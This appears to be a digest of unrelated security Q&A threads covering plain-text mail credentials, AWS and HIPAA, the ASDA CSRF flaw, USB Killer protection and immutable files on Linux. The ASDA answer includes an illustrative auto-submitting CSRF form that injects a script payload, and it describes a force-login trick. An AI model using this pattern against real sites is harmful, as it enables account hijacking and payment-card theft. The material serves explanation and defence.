Is it a bad idea to ask for user e-mail and e-mail password? I work as a tester at a company that makes network security appliances, I am having some discussions with a developer about a feature.

The feature is that the notification e-mails sent to the user by the appliance will be sent using the user credentials (e-mail and e-mail password) using whatever mail server the user uses (gmail, local mail server, etc)

These credentials are inside the machine in plain text, and is available with a cat to the right file. The developer argues that there is no point in trying to use any encryption because they always will need to decrypt it when sending the credentials to the mail server.

Now I do not know what to think, is there a correct way of doing this? or is the feature insecure and there is no secure way of doing it?

What is your threat model? Who is going to try to steal the password and how?

If you run the application as its own user, and only that user can access that password file, and you trust root, then it's okay.

Ideally, the application would send from its own email account, so if there was a compromise, the impact is minimal (or customer can always create a new freemail account just for this app)

If you don't trust root (because you're running on AWS or similar), then you're not fine.

But we can't know until you tell us your threat model


Are AWS security groups sufficient to authenticate communication between instances? (HIPAA) Say I have a private service that exposes sensitive information (PHI) via a REST API, and that I want to permit access to it from only one other service.

Is it enough to partition these services into different security groups and restrict inbound traffic only to the calling service?  Would this type of authentication be HIPAA compliant?

You can have multiple API keys.  It's in the basic service offering.  You can audit their usage and restrict by originating IP and other factors.

https://d36cz9buwru1tt.cloudfront.net/pdf/AWS_Security_Whitepaper.pdf

It may be that you need to use the AWS identity product; http://aws.amazon.com/iam/

Amazon has published a whitepaper on HIPAA and HITECH measures for AWS

https://d36cz9buwru1tt.cloudfront.net/AWS_HIPAA_Whitepaper_Final.pdf


Could somebody explain how the ASDA site is vulnerable? I'm sure many of you will have seen the CSRF exploit highlighted by Paul Moore that ASDA have known about for two years (Paul's blog)

I am trying to find an explanation as to WHY the website is vulnerable and how to ensure my sites are not. I understand CSRF to a point - my sites validate an anti-forgery token present in the forms and all pages are served over https.

In the exploit he goes to another site with the malicious payload in another tab, and upon switching back to the ASDA page a form appears asking for credit card info which his server sees when submitted.

What is ASDA doing incorrectly to allow this exploit?

The blog post from Paul Moore holds back quite a lot of information, probably on purpose, seeing that asda hadn't fixed the issue when he published the post.

Here is an article that is a bit more explicit about the vulnerabilities of Asda.

CSRF Vulnerability

First of, they did not seem to have any CSRF protection:

  There is no XSRF protection throughout the site. It's possible to remotely hijack any active account without knowing the username/password

The impact of this depends on what a user can actually do on the website (because that is what an attacker can also do with CSRF, except if a user has to enter a password for the action). From the description, it doesn't sound like it's too much though:

  It's also possible to add/remove items to the basket from a remote site and ship to an alternative address, increasing the risk of fraud/identity theft.

This is obviously still bad though.

CSRF to XSS

  In the exploit he goes to another site with the malicious payload in another tab, and upon switching back to the ASDA page a form appears asking for credit card info which his server sees when submitted.

I couldn't find any information on this, but a save bet is that this is an issue of persistent XSS via CSRF (or maybe reflected POST XSS via CSRF).

What is probably happening: Some form field on the website is vulnerable to XSS via POST, either reflected or persistent, and this can be exploited because there is no CSRF protection.

Normally, POST XSS issues in a user area wouldn't be that big of an issue (although you still shouldn't have them), as CSRF (and possibly ClickJacking) protection prevents people from exploiting it (if the login is also CSRF protected).

But as there is no CSRF protection, the XSS vulnerability in the user area is now exploitable. As XSS is quite a bit more powerful than CSRF, this is a problem.

The attack code might look something like this (it's made up to illustrate the point):

<form action="https://example.com/profile.php" method="POST" id="myform">
  <input type="hidden" name="name" value="<script>alert(1)</script>" />
  <input type="submit" value="Submit request" />
</form>
<script>document.myform.submit();</script>

If a user visits a website containing this code while logged into asda, their profile would be updated, and the injected code would be executed in the context of the asda site.

As you can see, the XSS payload in the example is submitted by the victim, meaning that browser filtering will likely protect some users. However, it is likely that  an attacker could create a new account, inject the payload in that account themselves, and then force-login a victim via CSRF, bypassing browser filtering. If a victim does not notice that they are logged into a different account, they may still provide sensitive information.


USB Killer Protection Is there any way to protect computers from the USB vulnerabilities exploited by the likes of USB Killer and other similar attacks?

(Protection aside from a strict data protection compliance schemes and inspecting each USB you use like a hawk)

Cheers

Make a little box connected to a 5V switching mobile charger. Get some breakout USB ports. Connect the 5V rail
to a LED across a 220 ohm resistor, and in parallel connect the 5V and GND rails to the USB port. If a USB killer is connected to this port, that LED will flicker. The charger will probably die, though I doubt it will begin burning. I expect you will hear a little pop as the capacitor in the 5V charger goes bye-bye. It shouldn't trip your breaker box, though. Cost: less than 5 USD.

If the LED stays on, nice and stable, you don't have any problem. The USB killer works very poetically by charging capacitors, then driving a negative ~100 volts against the positive 5 volts of the USB port, bypassing protection circuitry. Less would probably be enough to murder a motherboard, but its creator is from eastern europe. In any case, this negative voltage would disrupt the light of the LED, and so serve as an indicator of attempted vandalism.

Connections:

5V -> 220 ohms resistor -> anode of LED -> cathode of LED -> GND
5V -> 5V pin on USB port
GND -> GND pin on USB port

Use a stripped USB cable, you only need the red and black wires.

On second thought, a properly rated schottky diode forward biased to the 5V pin of the USB, and one reverse biased to the USB GND pin might be useful in a PC/laptop setup. From looking at the page, it seems to present -200V DC to the 5V pin. I have a nice 0.18V schottky here, but only rated for 40V@1A. Most USB chargers and PSUs offer ~5.10V, and a nice schottky (>200V, Vdrop 0.1V) here can probably be used.


Making a file immutable (against kernel exploits) I'd like to know how to make files completely immutable. "Completely" refers in this case to: immutable while the system is running. I could live with something like physical access where someone e.g uses a live cd to change the immutable files on a harddrive. I'm not worried about physical access that much.

I know there is chattr -i which makes a file immutable. Of course some hacker could just change the attribute back. According to the debian security manual (https://www.debian.org/doc/manuals/securing-debian-howto/ch4.en.html#s4.17 under 4.17.2) you can prevent this by removing the CAP_LINUX_IMMUTABLE capability and making lcap itself immutable.
According to this site: https://www.win.tue.nl/~aeb/linux/lk/lk-7.html
you also have to remove CAP_SYS_RAWIO because it allows to patch the running kernel code. This is not mentioned in the debian manual.

Also from crossreading some other sites regarding sandboxing on linux, seccomp etc I gathered that kernel exploits in principle can bypass such systems with reduced capabilities. But I'm not sure if this also holds true for my case.

I'm assuming the attacker has complete (except physical) access to my system. Will the capability based approach above prevent him from changing the immutable file X on my system? If not is there anything I could do in order to accomplish this?

If the kernel is exploited then any software based constraints on file access can be bypassed. Using an encrypted filesystem would prevent someone from booting up from a USB key or removable media, mounting the filesystem and changing the file, but not against a loadable kernel module inserted in the running system.

I remember when most hard disks had jumper settings to make them read only at the hardware level, but its been a long time since I've seen such a device. Maybe some disks still do this but you might have to do a bit of digging.

You can get USB drives with a physical switch. But they are not cheap - indeed it might be easier to set up something like a raspberry pi with read only NFS access.